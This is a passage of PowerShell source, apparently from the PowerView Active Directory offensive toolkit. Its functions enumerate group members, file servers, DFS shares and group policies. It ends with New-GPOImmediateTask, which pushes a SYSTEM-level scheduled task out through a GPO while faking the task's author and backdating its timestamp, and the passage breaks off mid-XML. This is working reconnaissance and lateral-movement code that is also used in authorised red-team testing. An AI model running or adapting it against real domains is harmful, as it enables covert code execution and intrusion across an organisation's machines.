$MemberDN = $Properties.distinguishedname[0]

if (($MemberDN -match 'ForeignSecurityPrincipals') -and ($MemberDN -match 'S-1-5-21')) {

try {

if(-not $MemberSID) {

$MemberSID = $Properties.cn[0]

}

$MemberSimpleName = Convert-SidToName -SID $MemberSID | Convert-ADName -InputType 'NT4' -OutputType 'Simple'

if($MemberSimpleName) {

$MemberDomain = $MemberSimpleName.Split('@')[1]

}

else {

Write-Warning "Error converting $MemberDN"

$MemberDomain = $Null

}

}

catch {

Write-Warning "Error converting $MemberDN"

$MemberDomain = $Null

}

}

else {

# extract the FQDN from the Distinguished Name

$MemberDomain = $MemberDN.subString($MemberDN.IndexOf("DC=")) -replace 'DC=','' -replace ',','.'

}

}

catch {

$MemberDN = $Null

$MemberDomain = $Null

}

if ($Properties.samaccountname) {

# forest users have the samAccountName set

$MemberName = $Properties.samaccountname[0]

}

else {

# external trust users have a SID, so convert it

try {

$MemberName = Convert-SidToName $Properties.cn[0]

}

catch {

# if there's a problem contacting the domain to resolve the SID

$MemberName = $Properties.cn

}

}

$GroupMember | Add-Member Noteproperty 'MemberDomain' $MemberDomain

$GroupMember | Add-Member Noteproperty 'MemberName' $MemberName

$GroupMember | Add-Member Noteproperty 'MemberSID' $MemberSID

$GroupMember | Add-Member Noteproperty 'IsGroup' $IsGroup

$GroupMember | Add-Member Noteproperty 'MemberDN' $MemberDN

$GroupMember.PSObject.TypeNames.Add('PowerView.GroupMember')

$GroupMember

# if we're doing manual recursion

if ($Recurse -and !$UseMatchingRule -and $IsGroup -and $MemberName) {

if($FullData) {

Get-NetGroupMember -FullData -Domain $MemberDomain -DomainController $TargetDomainController -Credential $Credential -GroupName $MemberName -Recurse -PageSize $PageSize

}

else {

Get-NetGroupMember -Domain $MemberDomain -DomainController $TargetDomainController -Credential $Credential -GroupName $MemberName -Recurse -PageSize $PageSize

}

}

}

}

}

}

}

function Get-NetFileServer {

<#

.SYNOPSIS

Returns a list of all file servers extracted from user

homedirectory, scriptpath, and profilepath fields.

.PARAMETER Domain

The domain to query for user file servers, defaults to the current domain.

.PARAMETER DomainController

Domain controller to reflect LDAP queries through.

.PARAMETER TargetUsers

An array of users to query for file servers.

.PARAMETER PageSize

The PageSize to set for the LDAP searcher object.

.PARAMETER Credential

A [Management.Automation.PSCredential] object of alternate credentials

for connection to the target domain.

.EXAMPLE

PS C:\> Get-NetFileServer

Returns active file servers.

.EXAMPLE

PS C:\> Get-NetFileServer -Domain testing

Returns active file servers for the 'testing' domain.

#>

[CmdletBinding()]

param(

[String]

$Domain,

[String]

$DomainController,

[String[]]

$TargetUsers,

[ValidateRange(1,10000)]

[Int]

$PageSize = 200,

[Management.Automation.PSCredential]

$Credential

)

function SplitPath {

# short internal helper to split UNC server paths

param([String]$Path)

if ($Path -and ($Path.split("\\").Count -ge 3)) {

$Temp = $Path.split("\\")[2]

if($Temp -and ($Temp -ne '')) {

$Temp

}

}

}

$filter = "(!(userAccountControl:1.2.840.113556.1.4.803:=2))(|(scriptpath=\*)(homedirectory=\*)(profilepath=\*))"

Get-NetUser -Domain $Domain -DomainController $DomainController -Credential $Credential -PageSize $PageSize -Filter $filter | Where-Object {$\_} | Where-Object {

# filter for any target users

if($TargetUsers) {

$TargetUsers -Match $\_.samAccountName

}

else { $True }

} | ForEach-Object {

# split out every potential file server path

if($\_.homedirectory) {

SplitPath($\_.homedirectory)

}

if($\_.scriptpath) {

SplitPath($\_.scriptpath)

}

if($\_.profilepath) {

SplitPath($\_.profilepath)

}

} | Where-Object {$\_} | Sort-Object -Unique

}

function Get-DFSshare {

<#

.SYNOPSIS

Returns a list of all fault-tolerant distributed file

systems for a given domain.

.PARAMETER Version

The version of DFS to query for servers.

1/v1, 2/v2, or all

.PARAMETER Domain

The domain to query for user DFS shares, defaults to the current domain.

.PARAMETER DomainController

Domain controller to reflect LDAP queries through.

.PARAMETER ADSpath

The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"

Useful for OU queries.

.PARAMETER PageSize

The PageSize to set for the LDAP searcher object.

.PARAMETER Credential

A [Management.Automation.PSCredential] object of alternate credentials

for connection to the target domain.

.EXAMPLE

PS C:\> Get-DFSshare

Returns all distributed file system shares for the current domain.

.EXAMPLE

PS C:\> Get-DFSshare -Domain test

Returns all distributed file system shares for the 'test' domain.

#>

[CmdletBinding()]

param(

[String]

[ValidateSet("All","V1","1","V2","2")]

$Version = "All",

[String]

$Domain,

[String]

$DomainController,

[String]

$ADSpath,

[ValidateRange(1,10000)]

[Int]

$PageSize = 200,

[Management.Automation.PSCredential]

$Credential

)

function Parse-Pkt {

[CmdletBinding()]

param(

[byte[]]

$Pkt

)

$bin = $Pkt

$blob\_version = [bitconverter]::ToUInt32($bin[0..3],0)

$blob\_element\_count = [bitconverter]::ToUInt32($bin[4..7],0)

$offset = 8

#https://msdn.microsoft.com/en-us/library/cc227147.aspx

$object\_list = @()

for($i=1; $i -le $blob\_element\_count; $i++){

$blob\_name\_size\_start = $offset

$blob\_name\_size\_end = $offset + 1

$blob\_name\_size = [bitconverter]::ToUInt16($bin[$blob\_name\_size\_start..$blob\_name\_size\_end],0)

$blob\_name\_start = $blob\_name\_size\_end + 1

$blob\_name\_end = $blob\_name\_start + $blob\_name\_size - 1

$blob\_name = [System.Text.Encoding]::Unicode.GetString($bin[$blob\_name\_start..$blob\_name\_end])

$blob\_data\_size\_start = $blob\_name\_end + 1

$blob\_data\_size\_end = $blob\_data\_size\_start + 3

$blob\_data\_size = [bitconverter]::ToUInt32($bin[$blob\_data\_size\_start..$blob\_data\_size\_end],0)

$blob\_data\_start = $blob\_data\_size\_end + 1

$blob\_data\_end = $blob\_data\_start + $blob\_data\_size - 1

$blob\_data = $bin[$blob\_data\_start..$blob\_data\_end]

switch -wildcard ($blob\_name) {

"\siteroot" { }

"\domainroot\*" {

# Parse DFSNamespaceRootOrLinkBlob object. Starts with variable length DFSRootOrLinkIDBlob which we parse first...

# DFSRootOrLinkIDBlob

$root\_or\_link\_guid\_start = 0

$root\_or\_link\_guid\_end = 15

$root\_or\_link\_guid = [byte[]]$blob\_data[$root\_or\_link\_guid\_start..$root\_or\_link\_guid\_end]

$guid = New-Object Guid(,$root\_or\_link\_guid) # should match $guid\_str

$prefix\_size\_start = $root\_or\_link\_guid\_end + 1

$prefix\_size\_end = $prefix\_size\_start + 1

$prefix\_size = [bitconverter]::ToUInt16($blob\_data[$prefix\_size\_start..$prefix\_size\_end],0)

$prefix\_start = $prefix\_size\_end + 1

$prefix\_end = $prefix\_start + $prefix\_size - 1

$prefix = [System.Text.Encoding]::Unicode.GetString($blob\_data[$prefix\_start..$prefix\_end])

$short\_prefix\_size\_start = $prefix\_end + 1

$short\_prefix\_size\_end = $short\_prefix\_size\_start + 1

$short\_prefix\_size = [bitconverter]::ToUInt16($blob\_data[$short\_prefix\_size\_start..$short\_prefix\_size\_end],0)

$short\_prefix\_start = $short\_prefix\_size\_end + 1

$short\_prefix\_end = $short\_prefix\_start + $short\_prefix\_size - 1

$short\_prefix = [System.Text.Encoding]::Unicode.GetString($blob\_data[$short\_prefix\_start..$short\_prefix\_end])

$type\_start = $short\_prefix\_end + 1

$type\_end = $type\_start + 3

$type = [bitconverter]::ToUInt32($blob\_data[$type\_start..$type\_end],0)

$state\_start = $type\_end + 1

$state\_end = $state\_start + 3

$state = [bitconverter]::ToUInt32($blob\_data[$state\_start..$state\_end],0)

$comment\_size\_start = $state\_end + 1

$comment\_size\_end = $comment\_size\_start + 1

$comment\_size = [bitconverter]::ToUInt16($blob\_data[$comment\_size\_start..$comment\_size\_end],0)

$comment\_start = $comment\_size\_end + 1

$comment\_end = $comment\_start + $comment\_size - 1

if ($comment\_size -gt 0) {

$comment = [System.Text.Encoding]::Unicode.GetString($blob\_data[$comment\_start..$comment\_end])

}

$prefix\_timestamp\_start = $comment\_end + 1

$prefix\_timestamp\_end = $prefix\_timestamp\_start + 7

# https://msdn.microsoft.com/en-us/library/cc230324.aspx FILETIME

$prefix\_timestamp = $blob\_data[$prefix\_timestamp\_start..$prefix\_timestamp\_end] #dword lowDateTime #dword highdatetime

$state\_timestamp\_start = $prefix\_timestamp\_end + 1

$state\_timestamp\_end = $state\_timestamp\_start + 7

$state\_timestamp = $blob\_data[$state\_timestamp\_start..$state\_timestamp\_end]

$comment\_timestamp\_start = $state\_timestamp\_end + 1

$comment\_timestamp\_end = $comment\_timestamp\_start + 7

$comment\_timestamp = $blob\_data[$comment\_timestamp\_start..$comment\_timestamp\_end]

$version\_start = $comment\_timestamp\_end + 1

$version\_end = $version\_start + 3

$version = [bitconverter]::ToUInt32($blob\_data[$version\_start..$version\_end],0)

# Parse rest of DFSNamespaceRootOrLinkBlob here

$dfs\_targetlist\_blob\_size\_start = $version\_end + 1

$dfs\_targetlist\_blob\_size\_end = $dfs\_targetlist\_blob\_size\_start + 3

$dfs\_targetlist\_blob\_size = [bitconverter]::ToUInt32($blob\_data[$dfs\_targetlist\_blob\_size\_start..$dfs\_targetlist\_blob\_size\_end],0)

$dfs\_targetlist\_blob\_start = $dfs\_targetlist\_blob\_size\_end + 1

$dfs\_targetlist\_blob\_end = $dfs\_targetlist\_blob\_start + $dfs\_targetlist\_blob\_size - 1

$dfs\_targetlist\_blob = $blob\_data[$dfs\_targetlist\_blob\_start..$dfs\_targetlist\_blob\_end]

$reserved\_blob\_size\_start = $dfs\_targetlist\_blob\_end + 1

$reserved\_blob\_size\_end = $reserved\_blob\_size\_start + 3

$reserved\_blob\_size = [bitconverter]::ToUInt32($blob\_data[$reserved\_blob\_size\_start..$reserved\_blob\_size\_end],0)

$reserved\_blob\_start = $reserved\_blob\_size\_end + 1

$reserved\_blob\_end = $reserved\_blob\_start + $reserved\_blob\_size - 1

$reserved\_blob = $blob\_data[$reserved\_blob\_start..$reserved\_blob\_end]

$referral\_ttl\_start = $reserved\_blob\_end + 1

$referral\_ttl\_end = $referral\_ttl\_start + 3

$referral\_ttl = [bitconverter]::ToUInt32($blob\_data[$referral\_ttl\_start..$referral\_ttl\_end],0)

#Parse DFSTargetListBlob

$target\_count\_start = 0

$target\_count\_end = $target\_count\_start + 3

$target\_count = [bitconverter]::ToUInt32($dfs\_targetlist\_blob[$target\_count\_start..$target\_count\_end],0)

$t\_offset = $target\_count\_end + 1

for($j=1; $j -le $target\_count; $j++){

$target\_entry\_size\_start = $t\_offset

$target\_entry\_size\_end = $target\_entry\_size\_start + 3

$target\_entry\_size = [bitconverter]::ToUInt32($dfs\_targetlist\_blob[$target\_entry\_size\_start..$target\_entry\_size\_end],0)

$target\_time\_stamp\_start = $target\_entry\_size\_end + 1

$target\_time\_stamp\_end = $target\_time\_stamp\_start + 7

# FILETIME again or special if priority rank and priority class 0

$target\_time\_stamp = $dfs\_targetlist\_blob[$target\_time\_stamp\_start..$target\_time\_stamp\_end]

$target\_state\_start = $target\_time\_stamp\_end + 1

$target\_state\_end = $target\_state\_start + 3

$target\_state = [bitconverter]::ToUInt32($dfs\_targetlist\_blob[$target\_state\_start..$target\_state\_end],0)

$target\_type\_start = $target\_state\_end + 1

$target\_type\_end = $target\_type\_start + 3

$target\_type = [bitconverter]::ToUInt32($dfs\_targetlist\_blob[$target\_type\_start..$target\_type\_end],0)

$server\_name\_size\_start = $target\_type\_end + 1

$server\_name\_size\_end = $server\_name\_size\_start + 1

$server\_name\_size = [bitconverter]::ToUInt16($dfs\_targetlist\_blob[$server\_name\_size\_start..$server\_name\_size\_end],0)

$server\_name\_start = $server\_name\_size\_end + 1

$server\_name\_end = $server\_name\_start + $server\_name\_size - 1

$server\_name = [System.Text.Encoding]::Unicode.GetString($dfs\_targetlist\_blob[$server\_name\_start..$server\_name\_end])

$share\_name\_size\_start = $server\_name\_end + 1

$share\_name\_size\_end = $share\_name\_size\_start + 1

$share\_name\_size = [bitconverter]::ToUInt16($dfs\_targetlist\_blob[$share\_name\_size\_start..$share\_name\_size\_end],0)

$share\_name\_start = $share\_name\_size\_end + 1

$share\_name\_end = $share\_name\_start + $share\_name\_size - 1

$share\_name = [System.Text.Encoding]::Unicode.GetString($dfs\_targetlist\_blob[$share\_name\_start..$share\_name\_end])

$target\_list += "\\$server\_name\$share\_name"

$t\_offset = $share\_name\_end + 1

}

}

}

$offset = $blob\_data\_end + 1

$dfs\_pkt\_properties = @{

'Name' = $blob\_name

'Prefix' = $prefix

'TargetList' = $target\_list

}

$object\_list += New-Object -TypeName PSObject -Property $dfs\_pkt\_properties

$prefix = $null

$blob\_name = $null

$target\_list = $null

}

$servers = @()

$object\_list | ForEach-Object {

if ($\_.TargetList) {

$\_.TargetList | ForEach-Object {

$servers += $\_.split("\")[2]

}

}

}

$servers

}

function Get-DFSshareV1 {

[CmdletBinding()]

param(

[String]

$Domain,

[String]

$DomainController,

[String]

$ADSpath,

[ValidateRange(1,10000)]

[Int]

$PageSize = 200,

[Management.Automation.PSCredential]

$Credential

)

$DFSsearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize

if($DFSsearcher) {

$DFSshares = @()

$DFSsearcher.filter = "(&(objectClass=fTDfs))"

try {

$Results = $DFSSearcher.FindAll()

$Results | Where-Object {$\_} | ForEach-Object {

$Properties = $\_.Properties

$RemoteNames = $Properties.remoteservername

$Pkt = $Properties.pkt

$DFSshares += $RemoteNames | ForEach-Object {

try {

if ( $\_.Contains('\') ) {

New-Object -TypeName PSObject -Property @{'Name'=$Properties.name[0];'RemoteServerName'=$\_.split("\")[2]}

}

}

catch {

Write-Verbose "Error in parsing DFS share : $\_"

}

}

}

$Results.dispose()

$DFSSearcher.dispose()

if($pkt -and $pkt[0]) {

Parse-Pkt $pkt[0] | ForEach-Object {

# If a folder doesn't have a redirection it will

# have a target like

# \\null\TestNameSpace\folder\.DFSFolderLink so we

# do actually want to match on "null" rather than

# $null

if ($\_ -ne "null") {

New-Object -TypeName PSObject -Property @{'Name'=$Properties.name[0];'RemoteServerName'=$\_}

}

}

}

}

catch {

Write-Warning "Get-DFSshareV1 error : $\_"

}

$DFSshares | Sort-Object -Property "RemoteServerName"

}

}

function Get-DFSshareV2 {

[CmdletBinding()]

param(

[String]

$Domain,

[String]

$DomainController,

[String]

$ADSpath,

[ValidateRange(1,10000)]

[Int]

$PageSize = 200,

[Management.Automation.PSCredential]

$Credential

)

$DFSsearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize

if($DFSsearcher) {

$DFSshares = @()

$DFSsearcher.filter = "(&(objectClass=msDFS-Linkv2))"

$DFSSearcher.PropertiesToLoad.AddRange(('msdfs-linkpathv2','msDFS-TargetListv2'))

try {

$Results = $DFSSearcher.FindAll()

$Results | Where-Object {$\_} | ForEach-Object {

$Properties = $\_.Properties

$target\_list = $Properties.'msdfs-targetlistv2'[0]

$xml = [xml][System.Text.Encoding]::Unicode.GetString($target\_list[2..($target\_list.Length-1)])

$DFSshares += $xml.targets.ChildNodes | ForEach-Object {

try {

$Target = $\_.InnerText

if ( $Target.Contains('\') ) {

$DFSroot = $Target.split("\")[3]

$ShareName = $Properties.'msdfs-linkpathv2'[0]

New-Object -TypeName PSObject -Property @{'Name'="$DFSroot$ShareName";'RemoteServerName'=$Target.split("\")[2]}

}

}

catch {

Write-Verbose "Error in parsing target : $\_"

}

}

}

$Results.dispose()

$DFSSearcher.dispose()

}

catch {

Write-Warning "Get-DFSshareV2 error : $\_"

}

$DFSshares | Sort-Object -Unique -Property "RemoteServerName"

}

}

$DFSshares = @()

if ( ($Version -eq "all") -or ($Version.endsWith("1")) ) {

$DFSshares += Get-DFSshareV1 -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize

}

if ( ($Version -eq "all") -or ($Version.endsWith("2")) ) {

$DFSshares += Get-DFSshareV2 -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize

}

$DFSshares | Sort-Object -Property ("RemoteServerName","Name") -Unique

}

########################################################

#

# GPO related functions.

#

########################################################

filter Get-GptTmpl {

<#

.SYNOPSIS

Helper to parse a GptTmpl.inf policy file path into a custom object.

.PARAMETER GptTmplPath

The GptTmpl.inf file path name to parse.

.PARAMETER UsePSDrive

Switch. Mount the target GptTmpl folder path as a temporary PSDrive.

.EXAMPLE

PS C:\> Get-GptTmpl -GptTmplPath "\\dev.testlab.local\sysvol\dev.testlab.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf"

Parse the default domain policy .inf for dev.testlab.local

#>

[CmdletBinding()]

Param (

[Parameter(Mandatory=$True, ValueFromPipeline=$True)]

[String]

$GptTmplPath,

[Switch]

$UsePSDrive

)

if($UsePSDrive) {

# if we're PSDrives, create a temporary mount point

$Parts = $GptTmplPath.split('\')

$FolderPath = $Parts[0..($Parts.length-2)] -join '\'

$FilePath = $Parts[-1]

$RandDrive = ("abcdefghijklmnopqrstuvwxyz".ToCharArray() | Get-Random -Count 7) -join ''

Write-Verbose "Mounting path $GptTmplPath using a temp PSDrive at $RandDrive"

try {

$Null = New-PSDrive -Name $RandDrive -PSProvider FileSystem -Root $FolderPath -ErrorAction Stop

}

catch {

Write-Verbose "Error mounting path $GptTmplPath : $\_"

return $Null

}

# so we can cd/dir the new drive

$TargetGptTmplPath = $RandDrive + ":\" + $FilePath

}

else {

$TargetGptTmplPath = $GptTmplPath

}

Write-Verbose "GptTmplPath: $GptTmplPath"

try {

Write-Verbose "Parsing $TargetGptTmplPath"

$TargetGptTmplPath | Get-IniContent -ErrorAction SilentlyContinue

}

catch {

Write-Verbose "Error parsing $TargetGptTmplPath : $\_"

}

if($UsePSDrive -and $RandDrive) {

Write-Verbose "Removing temp PSDrive $RandDrive"

Get-PSDrive -Name $RandDrive -ErrorAction SilentlyContinue | Remove-PSDrive -Force

}

}

filter Get-GroupsXML {

<#

.SYNOPSIS

Helper to parse a groups.xml file path into a custom object.

.PARAMETER GroupsXMLpath

The groups.xml file path name to parse.

.PARAMETER UsePSDrive

Switch. Mount the target groups.xml folder path as a temporary PSDrive.

#>

[CmdletBinding()]

Param (

[Parameter(Mandatory=$True, ValueFromPipeline=$True)]

[String]

$GroupsXMLPath,

[Switch]

$UsePSDrive

)

if($UsePSDrive) {

# if we're PSDrives, create a temporary mount point

$Parts = $GroupsXMLPath.split('\')

$FolderPath = $Parts[0..($Parts.length-2)] -join '\'

$FilePath = $Parts[-1]

$RandDrive = ("abcdefghijklmnopqrstuvwxyz".ToCharArray() | Get-Random -Count 7) -join ''

Write-Verbose "Mounting path $GroupsXMLPath using a temp PSDrive at $RandDrive"

try {

$Null = New-PSDrive -Name $RandDrive -PSProvider FileSystem -Root $FolderPath -ErrorAction Stop

}

catch {

Write-Verbose "Error mounting path $GroupsXMLPath : $\_"

return $Null

}

# so we can cd/dir the new drive

$TargetGroupsXMLPath = $RandDrive + ":\" + $FilePath

}

else {

$TargetGroupsXMLPath = $GroupsXMLPath

}

try {

[XML]$GroupsXMLcontent = Get-Content $TargetGroupsXMLPath -ErrorAction Stop

# process all group properties in the XML

$GroupsXMLcontent | Select-Xml "/Groups/Group" | Select-Object -ExpandProperty node | ForEach-Object {

$Groupname = $\_.Properties.groupName

# extract the localgroup sid for memberof

$GroupSID = $\_.Properties.groupSid

if(-not $GroupSID) {

if($Groupname -match 'Administrators') {

$GroupSID = 'S-1-5-32-544'

}

elseif($Groupname -match 'Remote Desktop') {

$GroupSID = 'S-1-5-32-555'

}

elseif($Groupname -match 'Guests') {

$GroupSID = 'S-1-5-32-546'

}

else {

$GroupSID = Convert-NameToSid -ObjectName $Groupname | Select-Object -ExpandProperty SID

}

}

# extract out members added to this group

$Members = $\_.Properties.members | Select-Object -ExpandProperty Member | Where-Object { $\_.action -match 'ADD' } | ForEach-Object {

if($\_.sid) { $\_.sid }

else { $\_.name }

}

if ($Members) {

# extract out any/all filters...I hate you GPP

if($\_.filters) {

$Filters = $\_.filters.GetEnumerator() | ForEach-Object {

New-Object -TypeName PSObject -Property @{'Type' = $\_.LocalName;'Value' = $\_.name}

}

}

else {

$Filters = $Null

}

if($Members -isnot [System.Array]) { $Members = @($Members) }

$GPOGroup = New-Object PSObject

$GPOGroup | Add-Member Noteproperty 'GPOPath' $TargetGroupsXMLPath

$GPOGroup | Add-Member Noteproperty 'Filters' $Filters

$GPOGroup | Add-Member Noteproperty 'GroupName' $GroupName

$GPOGroup | Add-Member Noteproperty 'GroupSID' $GroupSID

$GPOGroup | Add-Member Noteproperty 'GroupMemberOf' $Null

$GPOGroup | Add-Member Noteproperty 'GroupMembers' $Members

$GPOGroup

}

}

}

catch {

Write-Verbose "Error parsing $TargetGroupsXMLPath : $\_"

}

if($UsePSDrive -and $RandDrive) {

Write-Verbose "Removing temp PSDrive $RandDrive"

Get-PSDrive -Name $RandDrive -ErrorAction SilentlyContinue | Remove-PSDrive -Force

}

}

function Get-NetGPO {

<#

.SYNOPSIS

Gets a list of all current GPOs in a domain.

.PARAMETER GPOname

The GPO name to query for, wildcards accepted.

.PARAMETER DisplayName

The GPO display name to query for, wildcards accepted.

.PARAMETER ComputerName

Return all GPO objects applied to a given computer (FQDN).

.PARAMETER Domain

The domain to query for GPOs, defaults to the current domain.

.PARAMETER DomainController

Domain controller to reflect LDAP queries through.

.PARAMETER ADSpath

The LDAP source to search through

e.g. "LDAP://cn={8FF59D28-15D7-422A-BCB7-2AE45724125A},cn=policies,cn=system,DC=dev,DC=testlab,DC=local"

.PARAMETER PageSize

The PageSize to set for the LDAP searcher object.

.PARAMETER Credential

A [Management.Automation.PSCredential] object of alternate credentials

for connection to the target domain.

.EXAMPLE

PS C:\> Get-NetGPO -Domain testlab.local

Returns the GPOs in the 'testlab.local' domain.

#>

[CmdletBinding()]

Param (

[Parameter(ValueFromPipeline=$True)]

[String]

$GPOname = '\*',

[String]

$DisplayName,

[String]

$ComputerName,

[String]

$Domain,

[String]

$DomainController,

[String]

$ADSpath,

[ValidateRange(1,10000)]

[Int]

$PageSize = 200,

[Management.Automation.PSCredential]

$Credential

)

begin {

$GPOSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize

}

process {

if ($GPOSearcher) {

if($ComputerName) {

$GPONames = @()

$Computers = Get-NetComputer -ComputerName $ComputerName -Domain $Domain -DomainController $DomainController -FullData -PageSize $PageSize

if(!$Computers) {

throw "Computer $ComputerName in domain '$Domain' not found! Try a fully qualified host name"

}

# get the given computer's OU

$ComputerOUs = @()

ForEach($Computer in $Computers) {

# extract all OUs a computer is a part of

$DN = $Computer.distinguishedname

$ComputerOUs += $DN.split(",") | ForEach-Object {

if($\_.startswith("OU=")) {

$DN.substring($DN.indexof($\_))

}

}

}

Write-Verbose "ComputerOUs: $ComputerOUs"

# find all the GPOs linked to the computer's OU

ForEach($ComputerOU in $ComputerOUs) {

$GPONames += Get-NetOU -Domain $Domain -DomainController $DomainController -ADSpath $ComputerOU -FullData -PageSize $PageSize | ForEach-Object {

# get any GPO links

write-verbose "blah: $($\_.name)"

$\_.gplink.split("][") | ForEach-Object {

if ($\_.startswith("LDAP")) {

$\_.split(";")[0]

}

}

}

}

Write-Verbose "GPONames: $GPONames"

# find any GPOs linked to the site for the given computer

$ComputerSite = (Get-SiteName -ComputerName $ComputerName).SiteName

if($ComputerSite -and ($ComputerSite -notlike 'Error\*')) {

$GPONames += Get-NetSite -SiteName $ComputerSite -FullData | ForEach-Object {

if($\_.gplink) {

$\_.gplink.split("][") | ForEach-Object {

if ($\_.startswith("LDAP")) {

$\_.split(";")[0]

}

}

}

}

}

$GPONames | Where-Object{$\_ -and ($\_ -ne '')} | ForEach-Object {

# use the gplink as an ADS path to enumerate all GPOs for the computer

$GPOSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $\_ -PageSize $PageSize

$GPOSearcher.filter="(&(objectCategory=groupPolicyContainer)(name=$GPOname))"

try {

$Results = $GPOSearcher.FindAll()

$Results | Where-Object {$\_} | ForEach-Object {

$Out = Convert-LDAPProperty -Properties $\_.Properties

$Out | Add-Member Noteproperty 'ComputerName' $ComputerName

$Out

}

$Results.dispose()

$GPOSearcher.dispose()

}

catch {

Write-Warning $\_

}

}

}

else {

if($DisplayName) {

$GPOSearcher.filter="(&(objectCategory=groupPolicyContainer)(displayname=$DisplayName))"

}

else {

$GPOSearcher.filter="(&(objectCategory=groupPolicyContainer)(name=$GPOname))"

}

try {

$Results = $GPOSearcher.FindAll()

$Results | Where-Object {$\_} | ForEach-Object {

if($ADSPath -and ($ADSpath -Match '^GC://')) {

$Properties = Convert-LDAPProperty -Properties $\_.Properties

try {

$GPODN = $Properties.distinguishedname

$GPODomain = $GPODN.subString($GPODN.IndexOf("DC=")) -replace 'DC=','' -replace ',','.'

$gpcfilesyspath = "\\$GPODomain\SysVol\$GPODomain\Policies\$($Properties.cn)"

$Properties | Add-Member Noteproperty 'gpcfilesyspath' $gpcfilesyspath

$Properties

}

catch {

$Properties

}

}

else {

# convert/process the LDAP fields for each result

Convert-LDAPProperty -Properties $\_.Properties

}

}

$Results.dispose()

$GPOSearcher.dispose()

}

catch {

Write-Warning $\_

}

}

}

}

}

function New-GPOImmediateTask {

<#

.SYNOPSIS

Builds an 'Immediate' schtask to push out through a specified GPO.

.PARAMETER TaskName

Name for the schtask to recreate. Required.

.PARAMETER Command

The command to execute with the task, defaults to 'powershell'

.PARAMETER CommandArguments

The arguments to supply to the -Command being launched.

.PARAMETER TaskDescription

An optional description for the task.

.PARAMETER TaskAuthor

The displayed author of the task, defaults to ''NT AUTHORITY\System'

.PARAMETER TaskModifiedDate

The displayed modified date for the task, defaults to 30 days ago.

.PARAMETER GPOname

The GPO name to build the task for.

.PARAMETER GPODisplayName

The GPO display name to build the task for.

.PARAMETER Domain

The domain to query for the GPOs, defaults to the current domain.

.PARAMETER DomainController

Domain controller to reflect LDAP queries through.

.PARAMETER ADSpath

The LDAP source to search through

e.g. "LDAP://cn={8FF59D28-15D7-422A-BCB7-2AE45724125A},cn=policies,cn=system,DC=dev,DC=testlab,DC=local"

.PARAMETER Credential

A [Management.Automation.PSCredential] object of alternate credentials

for connection to the target.

.EXAMPLE

PS> New-GPOImmediateTask -TaskName Debugging -GPODisplayName SecurePolicy -CommandArguments '-c "123 | Out-File C:\Temp\debug.txt"' -Force

Create an immediate schtask that executes the specified PowerShell arguments and

push it out to the 'SecurePolicy' GPO, skipping the confirmation prompt.

.EXAMPLE

PS> New-GPOImmediateTask -GPODisplayName SecurePolicy -Remove -Force

Remove all schtasks from the 'SecurePolicy' GPO, skipping the confirmation prompt.

#>

[CmdletBinding(DefaultParameterSetName = 'Create')]

Param (

[Parameter(ParameterSetName = 'Create', Mandatory = $True)]

[String]

[ValidateNotNullOrEmpty()]

$TaskName,

[Parameter(ParameterSetName = 'Create')]

[String]

[ValidateNotNullOrEmpty()]

$Command = 'powershell',

[Parameter(ParameterSetName = 'Create')]

[String]

[ValidateNotNullOrEmpty()]

$CommandArguments,

[Parameter(ParameterSetName = 'Create')]

[String]

[ValidateNotNullOrEmpty()]

$TaskDescription = '',

[Parameter(ParameterSetName = 'Create')]

[String]

[ValidateNotNullOrEmpty()]

$TaskAuthor = 'NT AUTHORITY\System',

[Parameter(ParameterSetName = 'Create')]

[String]

[ValidateNotNullOrEmpty()]

$TaskModifiedDate = (Get-Date (Get-Date).AddDays(-30) -Format u).trim("Z"),

[Parameter(ParameterSetName = 'Create')]

[Parameter(ParameterSetName = 'Remove')]

[String]

$GPOname,

[Parameter(ParameterSetName = 'Create')]

[Parameter(ParameterSetName = 'Remove')]

[String]

$GPODisplayName,

[Parameter(ParameterSetName = 'Create')]

[Parameter(ParameterSetName = 'Remove')]

[String]

$Domain,

[Parameter(ParameterSetName = 'Create')]

[Parameter(ParameterSetName = 'Remove')]

[String]

$DomainController,

[Parameter(ParameterSetName = 'Create')]

[Parameter(ParameterSetName = 'Remove')]

[String]

$ADSpath,

[Parameter(ParameterSetName = 'Create')]

[Parameter(ParameterSetName = 'Remove')]

[Switch]

$Force,

[Parameter(ParameterSetName = 'Remove')]

[Switch]

$Remove,

[Parameter(ParameterSetName = 'Create')]

[Parameter(ParameterSetName = 'Remove')]

[Management.Automation.PSCredential]

$Credential

)

# build the XML spec for our 'immediate' scheduled task

$TaskXML = '<?xml version="1.0" encoding="utf-8"?><ScheduledTasks clsid="{CC63F200-7309-4ba0-B154-A71CD118DBCC}"><ImmediateTaskV2 clsid="{9756B581-76EC-4169-9AFC-0CA8D43ADB5F}" name="'+$TaskName+'" image="0" changed="'+$TaskModifiedDate+'" uid="{'+$([guid]::NewGuid())+'}" userContext="0" removePolicy="0"><Properties action="C" name="'+$TaskName+'" runAs="NT AUTHORITY\System" logonType="S4U"><Task version="1.3"><RegistrationInfo><Author>'+$TaskAuthor+'</Author><Description>'+$TaskDescription+'</Description></RegistrationInfo><Principals><Principal id="Author"><UserId>NT 